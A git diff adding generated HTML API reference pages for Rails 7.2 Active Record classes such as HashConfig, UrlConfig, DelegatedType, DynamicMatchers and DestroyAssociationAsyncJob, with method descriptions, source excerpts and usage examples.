+ + + + + + + + + + + +

Methods

+ + + + + + + + + + + + + + +

Attributes

+ + + + + + + + +
+ [R] + configuration_hash
+ + + + +

Class Public methods

+ +
+

+ + new(env_name, name, configuration_hash) + +

+ + +
+

Initialize a new HashConfig object

+ +

Parameters

+
  • +

    env_name - The Rails environment, i.e. β€œdevelopment”.

    +
  • +

    name - The db config name. In a standard two-tier database configuration this will default to β€œprimary”. In a multiple database three-tier database configuration this corresponds to the name used in the second tier, for example β€œprimary_readonly”.

    +
  • +

    configuration_hash - The config hash. This is the hash that contains the database adapter, name, and other important information for database connections.

    +
+
+ + + + + + + + +
+ + πŸ“ Source code + + +
# File activerecord/lib/active_record/database_configurations/hash_config.rb, line 38
+      def initialize(env_name, name, configuration_hash)
+        super(env_name, name)
+        @configuration_hash = configuration_hash.symbolize_keys.freeze
+      end
+ + πŸ”Ž See on GitHub + +
+ +
+ + + +

Instance Public methods

+ +
+

+ + adapter() + +

+ + +
+ +
+ + + + + + + + +
+ + πŸ“ Source code + + +
# File activerecord/lib/active_record/database_configurations/hash_config.rb, line 107
+      def adapter
+        configuration_hash[:adapter]&.to_s
+      end
+ + πŸ”Ž See on GitHub + +
+ +
+ +
+

+ + checkout_timeout() + +

+ + +
+ +
+ + + + + + + + +
+ + πŸ“ Source code + + +
# File activerecord/lib/active_record/database_configurations/hash_config.rb, line 92
+      def checkout_timeout
+        (configuration_hash[:checkout_timeout] || 5).to_f
+      end
+ + πŸ”Ž See on GitHub + +
+ +
+ +
+

+ + database() + +

+ + +
+ +
+ + + + + + + + +
+ + πŸ“ Source code + + +
# File activerecord/lib/active_record/database_configurations/hash_config.rb, line 64
+      def database
+        configuration_hash[:database]
+      end
+ + πŸ”Ž See on GitHub + +
+ +
+ +
+

+ + default_schema_cache_path(db_dir = "db") + +

+ + +
+ +
+ + + + + + + + +
+ + πŸ“ Source code + + +
# File activerecord/lib/active_record/database_configurations/hash_config.rb, line 117
+      def default_schema_cache_path(db_dir = "db")
+        if primary?
+          File.join(db_dir, "schema_cache.yml")
+        else
+          File.join(db_dir, "#{name}_schema_cache.yml")
+        end
+      end
+ + πŸ”Ž See on GitHub + +
+ +
+ +
+

+ + host() + +

+ + +
+ +
+ + + + + + + + +
+ + πŸ“ Source code + + +
# File activerecord/lib/active_record/database_configurations/hash_config.rb, line 56
+      def host
+        configuration_hash[:host]
+      end
+ + πŸ”Ž See on GitHub + +
+ +
+ +
+

+ + idle_timeout() + +

+ + +
+ +
+ + + + + + + + +
+ + πŸ“ Source code + + +
# File activerecord/lib/active_record/database_configurations/hash_config.rb, line 102
+      def idle_timeout
+        timeout = configuration_hash.fetch(:idle_timeout, 300).to_f
+        timeout if timeout > 0
+      end
+ + πŸ”Ž See on GitHub + +
+ +
+ +
+

+ + lazy_schema_cache_path() + +

+ + +
+ +
+ + + + + + + + +
+ + πŸ“ Source code + + +
# File activerecord/lib/active_record/database_configurations/hash_config.rb, line 125
+      def lazy_schema_cache_path
+        schema_cache_path || default_schema_cache_path
+      end
+ + πŸ”Ž See on GitHub + +
+ +
+ +
+

+ + max_queue() + +

+ + +
+ +
+ + + + + + + + +
+ + πŸ“ Source code + + +
# File activerecord/lib/active_record/database_configurations/hash_config.rb, line 88
+      def max_queue
+        max_threads * 4
+      end
+ + πŸ”Ž See on GitHub + +
+ +
+ +
+

+ + max_threads() + +

+ + +
+ +
+ + + + + + + + +
+ + πŸ“ Source code + + +
# File activerecord/lib/active_record/database_configurations/hash_config.rb, line 80
+      def max_threads
+        (configuration_hash[:max_threads] || pool).to_i
+      end
+ + πŸ”Ž See on GitHub + +
+ +
+ +
+

+ + migrations_paths() + +

+ + +
+

The migrations paths for a database configuration. If the migrations_paths key is present in the config, migrations_paths will return its value.

+
+ + + + + + + + +
+ + πŸ“ Source code + + +
# File activerecord/lib/active_record/database_configurations/hash_config.rb, line 52
+      def migrations_paths
+        configuration_hash[:migrations_paths]
+      end
+ + πŸ”Ž See on GitHub + +
+ +
+ +
+

+ + min_threads() + +

+ + +
+ +
+ + + + + + + + +
+ + πŸ“ Source code + + +
# File activerecord/lib/active_record/database_configurations/hash_config.rb, line 76
+      def min_threads
+        (configuration_hash[:min_threads] || 0).to_i
+      end
+ + πŸ”Ž See on GitHub + +
+ +
+ +
+

+ + pool() + +

+ + +
+ +
+ + + + + + + + +
+ + πŸ“ Source code + + +
# File activerecord/lib/active_record/database_configurations/hash_config.rb, line 72
+      def pool
+        (configuration_hash[:pool] || 5).to_i
+      end
+ + πŸ”Ž See on GitHub + +
+ +
+ +
+

+ + query_cache() + +

+ + +
+ +
+ + + + + + + + +
+ + πŸ“ Source code + + +
# File activerecord/lib/active_record/database_configurations/hash_config.rb, line 84
+      def query_cache
+        configuration_hash[:query_cache]
+      end
+ + πŸ”Ž See on GitHub + +
+ +
+ +
+

+ + reaping_frequency() + +

+ + +
+

reaping_frequency is configurable mostly for historical reasons, but it could also be useful if someone wants a very low idle_timeout.

+
+ + + + + + + + +
+ + πŸ“ Source code + + +
# File activerecord/lib/active_record/database_configurations/hash_config.rb, line 98
+      def reaping_frequency
+        configuration_hash.fetch(:reaping_frequency, 60)&.to_f
+      end
+ + πŸ”Ž See on GitHub + +
+ +
+ +
+

+ + replica?() + +

+ + +
+

Determines whether a database configuration is for a replica / readonly connection. If the replica key is present in the config, replica? will return true.

+
+ + + + + + + + +
+ + πŸ“ Source code + + +
# File activerecord/lib/active_record/database_configurations/hash_config.rb, line 46
+      def replica?
+        configuration_hash[:replica]
+      end
+ + πŸ”Ž See on GitHub + +
+ +
+ +
+

+ + schema_cache_path() + +

+ + +
+

The path to the schema cache dump file for a database. If omitted, the filename will be read from ENV or a default will be derived.

+
+ + + + + + + + +
+ + πŸ“ Source code + + +
# File activerecord/lib/active_record/database_configurations/hash_config.rb, line 113
+      def schema_cache_path
+        configuration_hash[:schema_cache_path]
+      end
+ + πŸ”Ž See on GitHub + +
+ +
+ +
+

+ + schema_dump(format = ActiveRecord.schema_format) + +

+ + +
+

Determines whether to dump the schema/structure files and the filename that should be used.

+ +

If configuration_hash[:schema_dump] is set to false or nil the schema will not be dumped.

+ +

If the config option is set that will be used. Otherwise Rails will generate the filename from the database config name.

+
+ + + + + + + + +
+ + πŸ“ Source code + + +
# File activerecord/lib/active_record/database_configurations/hash_config.rb, line 141
+      def schema_dump(format = ActiveRecord.schema_format)
+        if configuration_hash.key?(:schema_dump)
+          if config = configuration_hash[:schema_dump]
+            config
+          end
+        elsif primary?
+          schema_file_type(format)
+        else
+          "#{name}_#{schema_file_type(format)}"
+        end
+      end
+ + πŸ”Ž See on GitHub + +
+ +
+ + + + +
+ +
+
diff --git a/src/7.2/classes/ActiveRecord/DatabaseConfigurations/InvalidConfigurationError.html b/src/7.2/classes/ActiveRecord/DatabaseConfigurations/InvalidConfigurationError.html new file mode 100644 index 0000000000..31fbed327c --- /dev/null +++ b/src/7.2/classes/ActiveRecord/DatabaseConfigurations/InvalidConfigurationError.html @@ -0,0 +1,60 @@ +--- +title: ActiveRecord::DatabaseConfigurations::InvalidConfigurationError +layout: default +--- +
+ +
+
+ + + + + + + + + + + + + + + + + + + + + + + + + + + + +
+ +
+
diff --git a/src/7.2/classes/ActiveRecord/DatabaseConfigurations/UrlConfig.html b/src/7.2/classes/ActiveRecord/DatabaseConfigurations/UrlConfig.html new file mode 100644 index 0000000000..156d8a02ea --- /dev/null +++ b/src/7.2/classes/ActiveRecord/DatabaseConfigurations/UrlConfig.html @@ -0,0 +1,171 @@ +--- +title: ActiveRecord::DatabaseConfigurations::UrlConfig +layout: default +--- +
+ +
+
+ +
+ +

Active Record Database Url Config

+ +

A UrlConfig object is created for each database configuration entry that is created from a URL. This can either be a URL string or a hash with a URL in place of the config hash.

+ +

A URL config:

+ +
postgres://localhost/foo
+
+ +

Becomes:

+ +
#<ActiveRecord::DatabaseConfigurations::UrlConfig:0x00007fdc3238f340
+  @env_name="default_env", @name="primary",
+  @config={adapter: "postgresql", database: "foo", host: "localhost"},
+  @url="postgres://localhost/foo">
+
+ +

See ActiveRecord::DatabaseConfigurations for more info.

+ +
+ + + + + + + + + + + +

Methods

+
    + +
  • + new +
  • + +
+ + + + + + + + + + + + + +

Attributes

+ + + + + + + + +
+ [R] + url
+ + + + +

Class Public methods

+ +
+

+ + new(env_name, name, url, configuration_hash = {}) + +

+ + +
+

Initialize a new UrlConfig object

+ +

Options

+
  • +

    :env_name - The Rails environment, i.e. β€œdevelopment”.

    +
  • +

    :name - The db config name. In a standard two-tier database configuration this will default to β€œprimary”. In a multiple database three-tier database configuration this corresponds to the name used in the second tier, for example β€œprimary_readonly”.

    +
  • +

    :url - The database URL.

    +
  • +

    :config - The config hash. This is the hash that contains the database adapter, name, and other important information for database connections.

    +
+
+ + + + + + + + +
+ + πŸ“ Source code + + +
# File activerecord/lib/active_record/database_configurations/url_config.rb, line 40
+      def initialize(env_name, name, url, configuration_hash = {})
+        super(env_name, name, configuration_hash)
+
+        @url = url
+        @configuration_hash = @configuration_hash.merge(build_url_hash)
+
+        if @configuration_hash[:schema_dump] == "false"
+          @configuration_hash[:schema_dump] = false
+        end
+
+        if @configuration_hash[:query_cache] == "false"
+          @configuration_hash[:query_cache] = false
+        end
+
+        to_boolean!(@configuration_hash, :replica)
+        to_boolean!(@configuration_hash, :database_tasks)
+
+        @configuration_hash.freeze
+      end
+ + πŸ”Ž See on GitHub + +
+ +
+ + + + + +
+ +
+
diff --git a/src/7.2/classes/ActiveRecord/DatabaseConnectionError.html b/src/7.2/classes/ActiveRecord/DatabaseConnectionError.html new file mode 100644 index 0000000000..c02594febb --- /dev/null +++ b/src/7.2/classes/ActiveRecord/DatabaseConnectionError.html @@ -0,0 +1,197 @@ +--- +title: ActiveRecord::DatabaseConnectionError +layout: default +--- +
+ +
+
+ +
+ +

Raised when connection to the database could not been established because it was not able to connect to the host or when the authorization failed.

+ +
+ + + + + + + + + + + +

Methods

+ + + + + + + + + + + + + + + + +

Class Public methods

+ +
+

+ + hostname_error(hostname) + +

+ + +
+ +
+ + + + + + + + +
+ + πŸ“ Source code + + +
# File activerecord/lib/active_record/errors.rb, line 95
+      def hostname_error(hostname)
+        DatabaseConnectionError.new(<<~MSG)
+          There is an issue connecting with your hostname: #{hostname}.\n
+          Please check your database configuration and ensure there is a valid connection to your database.
+        MSG
+      end
+ + πŸ”Ž See on GitHub + +
+ +
+ +
+

+ + new(message = nil) + +

+ + +
+ +
+ + + + + + + + +
+ + πŸ“ Source code + + +
# File activerecord/lib/active_record/errors.rb, line 90
+    def initialize(message = nil)
+      super(message || "Database connection error")
+    end
+ + πŸ”Ž See on GitHub + +
+ +
+ +
+

+ + username_error(username) + +

+ + +
+ +
+ + + + + + + + +
+ + πŸ“ Source code + + +
# File activerecord/lib/active_record/errors.rb, line 102
+      def username_error(username)
+        DatabaseConnectionError.new(<<~MSG)
+          There is an issue connecting to your database with your username/password, username: #{username}.\n
+          Please check your database configuration to ensure the username/password are valid.
+        MSG
+      end
+ + πŸ”Ž See on GitHub + +
+ +
+ + + + + +
+ +
+
diff --git a/src/7.2/classes/ActiveRecord/DatabaseVersionError.html b/src/7.2/classes/ActiveRecord/DatabaseVersionError.html new file mode 100644 index 0000000000..d7c6400442 --- /dev/null +++ b/src/7.2/classes/ActiveRecord/DatabaseVersionError.html @@ -0,0 +1,66 @@ +--- +title: ActiveRecord::DatabaseVersionError +layout: default +--- +
+ +
+
+ +
+ +

DatabaseVersionError will be raised when the database version is not supported, or when the database version cannot be determined.

+ +
+ + + + + + + + + + + + + + + + + + + + + + + + + + + + +
+ +
+
diff --git a/src/7.2/classes/ActiveRecord/Deadlocked.html b/src/7.2/classes/ActiveRecord/Deadlocked.html new file mode 100644 index 0000000000..45072f588f --- /dev/null +++ b/src/7.2/classes/ActiveRecord/Deadlocked.html @@ -0,0 +1,68 @@ +--- +title: ActiveRecord::Deadlocked +layout: default +--- +
+ +
+
+ +
+ +

Deadlocked will be raised when a transaction is rolled back by the database when a deadlock is encountered.

+ +

This is a subclass of TransactionRollbackError, please make sure to check its documentation to be aware of its caveats.

+ +
+ + + + + + + + + + + + + + + + + + + + + + + + + + + + +
+ +
+
diff --git a/src/7.2/classes/ActiveRecord/DelegatedType.html b/src/7.2/classes/ActiveRecord/DelegatedType.html new file mode 100644 index 0000000000..bc3467298d --- /dev/null +++ b/src/7.2/classes/ActiveRecord/DelegatedType.html @@ -0,0 +1,311 @@ +--- +title: ActiveRecord::DelegatedType +layout: default +--- +
+ +
+
+ +
+ +

Delegated types

+ +

Class hierarchies can map to relational database tables in many ways. Active Record, for example, offers purely abstract classes, where the superclass doesn’t persist any attributes, and single-table inheritance, where all attributes from all levels of the hierarchy are represented in a single table. Both have their places, but neither are without their drawbacks.

+ +

The problem with purely abstract classes is that all concrete subclasses must persist all the shared attributes themselves in their own tables (also known as class-table inheritance). This makes it hard to do queries across the hierarchy. For example, imagine you have the following hierarchy:

+ +
Entry < ApplicationRecord
+Message < Entry
+Comment < Entry
+
+ +

How do you show a feed that has both Message and Comment records, which can be easily paginated? Well, you can’t! Messages are backed by a messages table and comments by a comments table. You can’t pull from both tables at once and use a consistent OFFSET/LIMIT scheme.

+ +

You can get around the pagination problem by using single-table inheritance, but now you’re forced into a single mega table with all the attributes from all subclasses. No matter how divergent. If a Message has a subject, but the comment does not, well, now the comment does anyway! So STI works best when there’s little divergence between the subclasses and their attributes.

+ +

But there’s a third way: Delegated types. With this approach, the β€œsuperclass” is a concrete class that is represented by its own table, where all the superclass attributes that are shared amongst all the β€œsubclasses” are stored. And then each of the subclasses have their own individual tables for additional attributes that are particular to their implementation. This is similar to what’s called multi-table inheritance in Django, but instead of actual inheritance, this approach uses delegation to form the hierarchy and share responsibilities.

+ +

Let’s look at that entry/message/comment example using delegated types:

+ +
# Schema: entries[ id, account_id, creator_id, entryable_type, entryable_id, created_at, updated_at ]
+class Entry < ApplicationRecord
+  belongs_to :account
+  belongs_to :creator
+  delegated_type :entryable, types: %w[ Message Comment ]
+end
+
+module Entryable
+  extend ActiveSupport::Concern
+
+  included do
+    has_one :entry, as: :entryable, touch: true
+  end
+end
+
+# Schema: messages[ id, subject, body, created_at, updated_at ]
+class Message < ApplicationRecord
+  include Entryable
+end
+
+# Schema: comments[ id, content, created_at, updated_at ]
+class Comment < ApplicationRecord
+  include Entryable
+end
+
+ +

As you can see, neither Message nor Comment are meant to stand alone. Crucial metadata for both classes resides in the Entry β€œsuperclass”. But the Entry absolutely can stand alone in terms of querying capacity in particular. You can now easily do things like:

+ +
Account.find(1).entries.order(created_at: :desc).limit(50)
+
+ +

Which is exactly what you want when displaying both comments and messages together. The entry itself can be rendered as its delegated type easily, like so:

+ +
# entries/_entry.html.erb
+<%= render "entries/entryables/#{entry.entryable_name}", entry: entry %>
+
+# entries/entryables/_message.html.erb
+<div class="message">
+  <div class="subject"><%= entry.message.subject %></div>
+  <p><%= entry.message.body %></p>
+  <i>Posted on <%= entry.created_at %> by <%= entry.creator.name %></i>
+</div>
+
+# entries/entryables/_comment.html.erb
+<div class="comment">
+  <%= entry.creator.name %> said: <%= entry.comment.content %>
+</div>
+
+ +

Sharing behavior with concerns and controllers

+ +

The entry β€œsuperclass” also serves as a perfect place to put all that shared logic that applies to both messages and comments, and which acts primarily on the shared attributes. Imagine:

+ +
class Entry < ApplicationRecord
+  include Eventable, Forwardable, Redeliverable
+end
+
+ +

Which allows you to have controllers for things like ForwardsController and RedeliverableController that both act on entries, and thus provide the shared functionality to both messages and comments.

+ +

Creating new records

+ +

You create a new record that uses delegated typing by creating the delegator and delegatee at the same time, like so:

+ +
Entry.create! entryable: Comment.new(content: "Hello!"), creator: Current.user, account: Current.account
+
+ +

If you need more complicated composition, or you need to perform dependent validation, you should build a factory method or class to take care of the complicated needs. This could be as simple as:

+ +
class Entry < ApplicationRecord
+  def self.create_with_comment(content, creator: Current.user, account: Current.account)
+    create! entryable: Comment.new(content: content), creator: creator, account: account
+  end
+end
+
+ +

Querying across records

+ +

A consequence of delegated types is that querying attributes spread across multiple classes becomes slightly more tricky, but not impossible.

+ +

The simplest method is to join the β€œsuperclass” to the β€œsubclass” and apply the query parameters (i.e. #where) in appropriate places:

+ +
Comment.joins(:entry).where(comments: { content: 'Hello!' }, entry: { creator: Current.user } )
+
+ +

For convenience, add a scope on the concern. Now all classes that implement the concern will automatically include the method:

+ +
# app/models/concerns/entryable.rb
+scope :with_entry, ->(attrs) { joins(:entry).where(entry: attrs) }
+
+ +

Now the query can be shortened significantly:

+ +
Comment.where(content: 'Hello!').with_entry(creator: Current.user)
+
+ +

Adding further delegation

+ +

The delegated type shouldn’t just answer the question of what the underlying class is called. In fact, that’s an anti-pattern most of the time. The reason you’re building this hierarchy is to take advantage of polymorphism. So here’s a simple example of that:

+ +
class Entry < ApplicationRecord
+  delegated_type :entryable, types: %w[ Message Comment ]
+  delegate :title, to: :entryable
+end
+
+class Message < ApplicationRecord
+  def title
+    subject
+  end
+end
+
+class Comment < ApplicationRecord
+  def title
+    content.truncate(20)
+  end
+end
+
+ +

Now you can list a bunch of entries, call Entry#title, and polymorphism will provide you with the answer.

+ +

Nested Attributes

+ +

Enabling nested attributes on a delegated_type association allows you to create the entry and message in one go:

+ +
class Entry < ApplicationRecord
+  delegated_type :entryable, types: %w[ Message Comment ]
+  accepts_nested_attributes_for :entryable
+end
+
+params = { entry: { entryable_type: 'Message', entryable_attributes: { subject: 'Smiling' } } }
+entry = Entry.create(params[:entry])
+entry.entryable.id # => 2
+entry.entryable.subject # => 'Smiling'
+
+ +
+ + + + + + + + + + + +

Methods

+ + + + + + + + + + + + + + + + + +

Instance Public methods

+ +
+

+ + delegated_type(role, types:, **options) + +

+ + +
+

Defines this as a class that’ll delegate its type for the passed role to the class references in types. That’ll create a polymorphic belongs_to relationship to that role, and it’ll add all the delegated type convenience methods:

+ +
class Entry < ApplicationRecord
+  delegated_type :entryable, types: %w[ Message Comment ], dependent: :destroy
+end
+
+Entry#entryable_class # => +Message+ or +Comment+
+Entry#entryable_name  # => "message" or "comment"
+Entry.messages        # => Entry.where(entryable_type: "Message")
+Entry#message?        # => true when entryable_type == "Message"
+Entry#message         # => returns the message record, when entryable_type == "Message", otherwise nil
+Entry#message_id      # => returns entryable_id, when entryable_type == "Message", otherwise nil
+Entry.comments        # => Entry.where(entryable_type: "Comment")
+Entry#comment?        # => true when entryable_type == "Comment"
+Entry#comment         # => returns the comment record, when entryable_type == "Comment", otherwise nil
+Entry#comment_id      # => returns entryable_id, when entryable_type == "Comment", otherwise nil
+
+ +

You can also declare namespaced types:

+ +
class Entry < ApplicationRecord
+  delegated_type :entryable, types: %w[ Message Comment Access::NoticeMessage ], dependent: :destroy
+end
+
+Entry.access_notice_messages
+entry.access_notice_message
+entry.access_notice_message?
+
+ +

Options

+ +

The options are passed directly to the belongs_to call, so this is where you declare dependent etc. The following options can be included to specialize the behavior of the delegated type convenience methods.

+
:foreign_key +
+

Specify the foreign key used for the convenience methods. By default this is guessed to be the passed role with an β€œ_id” suffix. So a class that defines a delegated_type :entryable, types: %w[ Message Comment ] association will use β€œentryable_id” as the default :foreign_key.

+
:foreign_type +
+

Specify the column used to store the associated object’s type. By default this is inferred to be the passed role with a β€œ_type” suffix. A class that defines a delegated_type :entryable, types: %w[ Message Comment ] association will use β€œentryable_type” as the default :foreign_type.

+
:primary_key +
+

Specify the method that returns the primary key of associated object used for the convenience methods. By default this is id.

+
+ +

Option examples:

+ +
class Entry < ApplicationRecord
+  delegated_type :entryable, types: %w[ Message Comment ], primary_key: :uuid, foreign_key: :entryable_uuid
+end
+
+Entry#message_uuid      # => returns entryable_uuid, when entryable_type == "Message", otherwise nil
+Entry#comment_uuid      # => returns entryable_uuid, when entryable_type == "Comment", otherwise nil
+
+
+ + + + + + + + +
+ + πŸ“ Source code + + +
# File activerecord/lib/active_record/delegated_type.rb, line 231
+    def delegated_type(role, types:, **options)
+      belongs_to role, options.delete(:scope), **options.merge(polymorphic: true)
+      define_delegated_type_methods role, types: types, options: options
+    end
+ + πŸ”Ž See on GitHub + +
+ +
+ + + + +
+ +
+
diff --git a/src/7.2/classes/ActiveRecord/DestroyAssociationAsyncError.html b/src/7.2/classes/ActiveRecord/DestroyAssociationAsyncError.html new file mode 100644 index 0000000000..a67ab0cdfd --- /dev/null +++ b/src/7.2/classes/ActiveRecord/DestroyAssociationAsyncError.html @@ -0,0 +1,60 @@ +--- +title: ActiveRecord::DestroyAssociationAsyncError +layout: default +--- +
+ +
+
+ + + + + + + + + + + + + + + + + + + + + + + + + + + + +
+ +
+
diff --git a/src/7.2/classes/ActiveRecord/DestroyAssociationAsyncJob.html b/src/7.2/classes/ActiveRecord/DestroyAssociationAsyncJob.html new file mode 100644 index 0000000000..e8cb89ad21 --- /dev/null +++ b/src/7.2/classes/ActiveRecord/DestroyAssociationAsyncJob.html @@ -0,0 +1,129 @@ +--- +title: ActiveRecord::DestroyAssociationAsyncJob +layout: default +--- +
+ +
+
+ +
+ +

Active Record Destroy Association Async Job

+ +

Job to destroy the records associated with a destroyed record in background.

+ +
+ + + + + + + + + + + +

Methods

+ + + + + + + + + + + + + + + + + +

Instance Public methods

+ +
+

+ + perform( owner_model_name: nil, owner_id: nil, association_class: nil, association_ids: nil, association_primary_key_column: nil, ensuring_owner_was_method: nil ) + +

+ + +
+ +
+ + + + + + + + +
+ + πŸ“ Source code + + +
# File activerecord/lib/active_record/destroy_association_async_job.rb, line 15
+    def perform(
+      owner_model_name: nil, owner_id: nil,
+      association_class: nil, association_ids: nil, association_primary_key_column: nil,
+      ensuring_owner_was_method: nil
+    )
+      association_model = association_class.constantize
+      owner_class = owner_model_name.constantize
+      owner = owner_class.find_by(owner_class.primary_key => [owner_id])
+
+      if !owner_destroyed?(owner, ensuring_owner_was_method)
+        raise DestroyAssociationAsyncError, "owner record not destroyed"
+      end
+
+      association_model.where(association_primary_key_column => association_ids).find_each do |r|
+        r.destroy
+      end
+    end
+ + πŸ”Ž See on GitHub + +
+ +
+ + + + +
+ +
+
diff --git a/src/7.2/classes/ActiveRecord/DynamicMatchers.html b/src/7.2/classes/ActiveRecord/DynamicMatchers.html new file mode 100644 index 0000000000..ce4a9b1d56 --- /dev/null +++ b/src/7.2/classes/ActiveRecord/DynamicMatchers.html @@ -0,0 +1,71 @@ +--- +title: ActiveRecord::DynamicMatchers +layout: default +--- +
+ +
+
+ + + + + + + + + +

Namespace

+ + + + +

Class

+ + + + + + + + + + + + + + + + + + + + + + +
+ +
+
diff --git a/src/7.2/classes/ActiveRecord/DynamicMatchers/FindBy.html b/src/7.2/classes/ActiveRecord/DynamicMatchers/FindBy.html new file mode 100644 index 0000000000..77b9a47f11 --- /dev/null +++ b/src/7.2/classes/ActiveRecord/DynamicMatchers/FindBy.html @@ -0,0 +1,149 @@ +--- +title: ActiveRecord::DynamicMatchers::FindBy +layout: default +--- +
+ +
+
+ + + + + + + + + + + +

Methods

+ + + + + + + + + + + + + + + + +

Class Public methods

+ +
+

+ + prefix() + +

+ + +
+ +
+ + + + + + + + +
+ + πŸ“ Source code + + +
# File activerecord/lib/active_record/dynamic_matchers.rb, line 96
+        def self.prefix
+          "find_by"
+        end
+ + πŸ”Ž See on GitHub + +
+ +
+ + + +

Instance Public methods

+ +
+

+ + finder() + +

+ + +
+ +
+ + + + + + + + +
+ + πŸ“ Source code + + +
# File activerecord/lib/active_record/dynamic_matchers.rb, line 100
+        def finder
+          "find_by"
+        end
+ + πŸ”Ž See on GitHub + +
+ +
+ + + + +
+ +
+
diff --git a/src/7.2/classes/ActiveRecord/DynamicMatchers/FindByBang.html b/src/7.2/classes/ActiveRecord/DynamicMatchers/FindByBang.html new file mode 100644 index 0000000000..85a7b7c8b1 --- /dev/null +++ b/src/7.2/classes/ActiveRecord/DynamicMatchers/FindByBang.html @@ -0,0 +1,188 @@ +--- +title: ActiveRecord::DynamicMatchers::FindByBang +layout: default +--- +
+ +
+
+ + + + + + + + + + + +

Methods

+ + + + + + + + + + + + + + + + +

Class Public methods

+ +
+

+ + prefix() + +

+ + +
+ +
+ + + + + + + + +
+ + πŸ“ Source code + + +
# File activerecord/lib/active_record/dynamic_matchers.rb, line 108
+        def self.prefix
+          "find_by"
+        end
+ + πŸ”Ž See on GitHub + +
+ +
+ +
+

+ + suffix() + +

+ + +
+ +
+ + + + + + + + +
+ + πŸ“ Source code + + +
# File activerecord/lib/active_record/dynamic_matchers.rb, line 112
+        def self.suffix
+          "!"
+        end
+ + πŸ”Ž See on GitHub + +
+ +
+ + + +

Instance Public methods

+ +
+

+ + finder() + +

+ + +
+ +
+ + + + + + + + +
+ + πŸ“ Source code + + +
# File activerecord/lib/active_record/dynamic_matchers.rb, line 116
+        def finder
+          "find_by!"
+        end
+ + πŸ”Ž See on GitHub + +
+ +
+ + + + +
+ +
+
diff --git a/src/7.2/classes/ActiveRecord/DynamicMatchers/Method.html b/src/7.2/classes/ActiveRecord/DynamicMatchers/Method.html new file mode 100644 index 0000000000..26d2ef1961 --- /dev/null +++ b/src/7.2/classes/ActiveRecord/DynamicMatchers/Method.html @@ -0,0 +1,390 @@ +--- +title: ActiveRecord::DynamicMatchers::Method +layout: default +--- +
+ +
+
+ + + + + + + + + + + +

Methods

+ + + + + + + + + + + + + + +

Attributes

+ + + + + + + + + + + + + + + + + + + + + + + + + + +
+ [R] + matchers
+ [R] + attribute_names
+ [R] + model
+ [R] + name
+ + + + +

Class Public methods

+ +
+

+ + match(model, name) + +

+ + +
+ +
+ + + + + + + + +
+ + πŸ“ Source code + + +
# File activerecord/lib/active_record/dynamic_matchers.rb, line 32
+          def match(model, name)
+            klass = matchers.find { |k| k.pattern.match?(name) }
+            klass.new(model, name) if klass
+          end
+ + πŸ”Ž See on GitHub + +
+ +
+ +
+

+ + new(model, method_name) + +

+ + +
+ +
+ + + + + + + + +
+ + πŸ“ Source code + + +
# File activerecord/lib/active_record/dynamic_matchers.rb, line 52
+        def initialize(model, method_name)
+          @model           = model
+          @name            = method_name.to_s
+          @attribute_names = @name.match(self.class.pattern)[1].split("_and_")
+          @attribute_names.map! { |name| @model.attribute_aliases[name] || name }
+        end
+ + πŸ”Ž See on GitHub + +
+ +
+ +
+

+ + pattern() + +

+ + +
+ +
+ + + + + + + + +
+ + πŸ“ Source code + + +
# File activerecord/lib/active_record/dynamic_matchers.rb, line 37
+          def pattern
+            @pattern ||= /\A#{prefix}_([_a-zA-Z]\w*)#{suffix}\Z/
+          end
+ + πŸ”Ž See on GitHub + +
+ +
+ +
+

+ + prefix() + +

+ + +
+ +
+ + + + + + + + +
+ + πŸ“ Source code + + +
# File activerecord/lib/active_record/dynamic_matchers.rb, line 41
+          def prefix
+            raise NotImplementedError
+          end
+ + πŸ”Ž See on GitHub + +
+ +
+ +
+

+ + suffix() + +

+ + +
+ +
+ + + + + + + + +
+ + πŸ“ Source code + + +
# File activerecord/lib/active_record/dynamic_matchers.rb, line 45
+          def suffix
+            ""
+          end
+ + πŸ”Ž See on GitHub + +
+ +
+ + + +

Instance Public methods

+ +
+

+ + define() + +

+ + +
+ +
+ + + + + + + + +
+ + πŸ“ Source code + + +
# File activerecord/lib/active_record/dynamic_matchers.rb, line 63
+        def define
+          model.class_eval <<-CODE, __FILE__, __LINE__ + 1
+            def self.#{name}(#{signature})
+              #{body}
+            end
+          CODE
+        end
+ + πŸ”Ž See on GitHub + +
+ +
+ +
+

+ + valid?() + +

+ + +
+ +
+ + + + + + + + +
+ + πŸ“ Source code + + +
# File activerecord/lib/active_record/dynamic_matchers.rb, line 59
+        def valid?
+          attribute_names.all? { |name| model.columns_hash[name] || model.reflect_on_aggregation(name.to_sym) }
+        end
+ + πŸ”Ž See on GitHub + +
+ +
+ + + + +
+ +
+
diff --git a/src/7.2/classes/ActiveRecord/EagerLoadPolymorphicError.html b/src/7.2/classes/ActiveRecord/EagerLoadPolymorphicError.html new file mode 100644 index 0000000000..53977299d0 --- /dev/null +++ b/src/7.2/classes/ActiveRecord/EagerLoadPolymorphicError.html @@ -0,0 +1,117 @@ +--- +title: ActiveRecord::EagerLoadPolymorphicError +layout: default +--- +
+ +
+
+ +
+ +

This error is raised when trying to eager load a polymorphic association using a JOIN. Eager loading polymorphic associations is only possible with ActiveRecord::Relation#preload.

+ +
+ + + + + + + + + + + +

Methods

+
    + +
  • + new +
  • + +
+ + + + + + + + + + + + + + + +

Class Public methods

+ +
+

+ + new(reflection = nil) + +

+ + +
+ +
+ + + + + + + + +
+ + πŸ“ Source code + + +
# File activerecord/lib/active_record/associations/errors.rb, line 244
+    def initialize(reflection = nil)
+      if reflection
+        super("Cannot eagerly load the polymorphic association #{reflection.name.inspect}")
+      else
+        super("Eager load polymorphic error.")
+      end
+    end
+ + πŸ”Ž See on GitHub + +
+ +
+ + + + + +
+ +
+
diff --git a/src/7.2/classes/ActiveRecord/Encryption.html b/src/7.2/classes/ActiveRecord/Encryption.html new file mode 100644 index 0000000000..0b0a17317a --- /dev/null +++ b/src/7.2/classes/ActiveRecord/Encryption.html @@ -0,0 +1,253 @@ +--- +title: ActiveRecord::Encryption +layout: default +--- +
+ +
+
+ + + + + + + + + +

Namespace

+ + +

Module

+ + + + +

Class

+ + + + + +

Methods

+ + + + + +

Included Modules

+ + + + + + + + + + + + + + +

Class Public methods

+ +
+

+ + eager_load!() + +

+ + +
+ +
+ + + + + + + + +
+ + πŸ“ Source code + + +
# File activerecord/lib/active_record/encryption.rb, line 50
+    def self.eager_load!
+      super
+
+      Cipher.eager_load!
+    end
+ + πŸ”Ž See on GitHub + +
+ +
+ + + + + +
+ +
+
